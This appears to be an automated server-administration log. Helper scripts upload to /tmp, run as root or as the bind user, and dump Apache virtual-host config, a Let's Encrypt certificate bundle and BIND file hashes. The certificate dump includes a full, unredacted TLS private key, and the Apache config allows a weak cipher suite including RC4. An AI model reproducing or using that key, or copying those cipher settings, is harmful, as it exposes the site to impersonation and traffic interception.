         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-12 18:16:43: 

PUT: /tmp/pkp529512

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphia_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-12 18:16:43: 

chmod 755 /tmp/pkp529512; /tmp/pkp529512; rm /tmp/pkp529512

2026-02-12 18:16:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf	1431

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-12 18:16:43: 

PUT: /tmp/pkp609673

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-12 18:16:43: 

chmod 755 /tmp/pkp609673; /tmp/pkp609673; rm /tmp/pkp609673

2026-02-12 18:16:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt	5377
75:ec:47:7a:6c:4c:0c:00:c2:58:3d:b7:df:9a:d4:1d

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBidebq+S6FZs/9+Ytj8MABEDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjEyMTcxODA5WhcNMjYwNTEzMTcxODA4WjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDoVaUlEVMidGbh3b46av292W6JgPZMp4oATGv1Tm4zSSedr/JiWEaUxrf1
6QcyTrR3lTlGUAafIaAE/mIUyQcw6VGRHXq4v3fcfo5nFxHR5qO3gHMxHXCHd2fT
RoqPS06YA2SEOCtHjwwuFFGe76XkJla5+ys4YEhLJozFQTFjzGh+muTDV6dHBLAu
p3Zv1K1/PWrDAYQpAZfPADmqqCiadcN/Yjp58CQpUj1gEgTP2Br5pHko9WkROYet
qQJVX1I4xjpGjXnt2nx8tqkjGe6roE8GDBk/Xw7eOnLGih8Ff1Hp0qLS8u1sp8TQ
EV5pNOWs4NfJtENuspgztE1YR+jLAgMBAAGjggIwMIICLDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
bxo166tTBpuuWqDIogSmYBSi/RIwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJjaHJpc3RhZGVscGhpYS5uZXSCFnd3dy5j
aHJpc3RhZGVscGhpYS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYw
JDAioCCgHoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80LmNybDCCAQUGCisGAQQB
1nkCBAIEgfYEgfMA8QB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABnFMRxz8AAAQDAEcwRQIhAPYPHwLaG7WR1/3ENWgRHrvH9LYGBE+3gNKj8wZl
gFslAiAXGdmmPajTxkPgJBbqaI1ziRyKVdSml0+eBQdE6Tsq0QB3ANFuqaVoB35m
NaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABnFMRyBcAAAQDAEgwRgIhAP6ilqqK
hkqEzm3tyZOTNXaIup7knw3EWkTEaMUZchs2AiEAjpEZ0G5riBdflB5J4aLx9Eb6
xiNu2QxoM5+1HgXrfAcwDQYJKoZIhvcNAQELBQADggEBAEc7HD9fuyUBs3brKbQ4
yPJNsnGKQcvnEaw1CbsNWt24Mp4mMh8qUgbJEdupMvDp6PuZ/A64K3gUkpPk4dvb
qHzslpYNDC1RYZu1niKOILJIqzMK7qt8fdCQVftjrfTioAxKbOKqOYZ7mC7rcVh3
ntAHcKFv1l/PZe6jCruwGDvRBatBsH2vLqwSrnIIeWVclVQ6hKIKbbzk4XaptQ6r
n/L7s8bhzEkpjVznrTwPEbpVEZPsAnaHPA5sdThQzDlJ61NTNXzoKsEn5hHIE6ZJ
+Ly5EeZs2IfuMvtmYuUZjL6bXsokuINrA1MOe5l/9zlwTVOm1sLFSR8Gv/DpkHYG
4rc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDoVaUlEVMidGbh
3b46av292W6JgPZMp4oATGv1Tm4zSSedr/JiWEaUxrf16QcyTrR3lTlGUAafIaAE
/mIUyQcw6VGRHXq4v3fcfo5nFxHR5qO3gHMxHXCHd2fTRoqPS06YA2SEOCtHjwwu
FFGe76XkJla5+ys4YEhLJozFQTFjzGh+muTDV6dHBLAup3Zv1K1/PWrDAYQpAZfP
ADmqqCiadcN/Yjp58CQpUj1gEgTP2Br5pHko9WkROYetqQJVX1I4xjpGjXnt2nx8
tqkjGe6roE8GDBk/Xw7eOnLGih8Ff1Hp0qLS8u1sp8TQEV5pNOWs4NfJtENuspgz
tE1YR+jLAgMBAAECggEAVuU9dI0zwkW1+xFD5jaA+8I4aP5OYGIjJ7RthlyUs+LP
Cde2OJkaoOdoA3XqBqNQNQ+fUdB5gYgCgQuhpHOBmIYTR0q2zSVzj4jX+u+ybwar
weStcLe5kDkVIHyYMzrvxMQ0Eo2thkCWxh88Xcz1B01dj4bE5fuA3nanHNmivteM
29VZhLQP8ecfFCZSm6GiY2d9Nukk3JKuC4jCdGeeEsQAl3Tcc214fGEzo9FSjkjF
04hJFzomWnzY9lZ78was35vzGXZZ5ssu5/MmNSmSnnpIVap39wpkA2VDLADM45C5
xIAi+gIaAk24fBLyVV4lsjJ0Tw99dEXB10Dr/94AgQKBgQD517cU7pm9bGEZyLA/
i4STIboChj8OmHHTuyiQxp+1Crnhdk4g3ds/fHDLJEFYzGsNowOaYEZwywPMQfN3
LTrK58fNYDy5LC+99R/WrtRKzhf+iPN2AJEoecZNHrmMnyMEuHdg0ifTbW8PBFIX
JfBGmK/xopFr8HWU65fl55sASwKBgQDuD3gv6n2k8cRIai5POMg1rRfeVbTuaoNs
zffmlQswIBH9mmCD3V5M5KJn02/6DOfg5p/8h00Q8muRDsCQdli9VIaagTDxFGod
PYjrXCyzsV2RmlDLSwUotZSV7+EQb2YRiKuCpoI7qMIBRawL6+SiatljVzUCU6aA
hY+oM2ppgQKBgQDK2l25Lh0/km6oe6y2e3YR7BFWGV+7XwUUj2JZYhur5+CScfbv
cpKgUk5WccJo8dh9wvya7E5lKECWKHogKmYQ9u3gD6JeCsVcq1jFez+82ObccJ+U
ENPLFExws2CeD1tkas3qm9dgL/s7Kxvn1ZLoDvLT81W1WRBu8HZtYYYVTwKBgQC4
ii9d3YWmfm/svrrFWLwCt/p/tKq8Ar98cbHRAgqZNNMdZzWYIts9+iJXH9V23dhG
RCETDgNUtsdhvDDUC5nAsqxhSvKYf32+yvu/j0VryntBKoGlBbOrGg9jp38tUV2r
C+oALnlYK/qwJ8U1vJgQu4lm86w48IVqrZ5uAeVkgQKBgFeE6GRoKoFDCrAZGiu6
v813r2ofU9EqnfpN19bTClko8vnJRFR/oaK52tHwucBqRINxWFdlHj3S7mChk32k
kbTWEA/eZ4UEpZIx0GzG7Jrvzso3OeFwK7FnFQJ5ByH1xk8Thd/aRGT+8+1+MrgJ
X/+CBRQGHe+H2X5da8YIEAHz
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-12 20:37:41: Establishing a connection
2026-02-13 13:19:42: Establishing a connection
2026-02-13 13:20:11: Establishing a connection
2026-02-13 13:20:11: 

PUT: /tmp/pkp411599

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-13 13:20:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp411599; rm /tmp/pkp411599'

2026-02-13 13:20:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
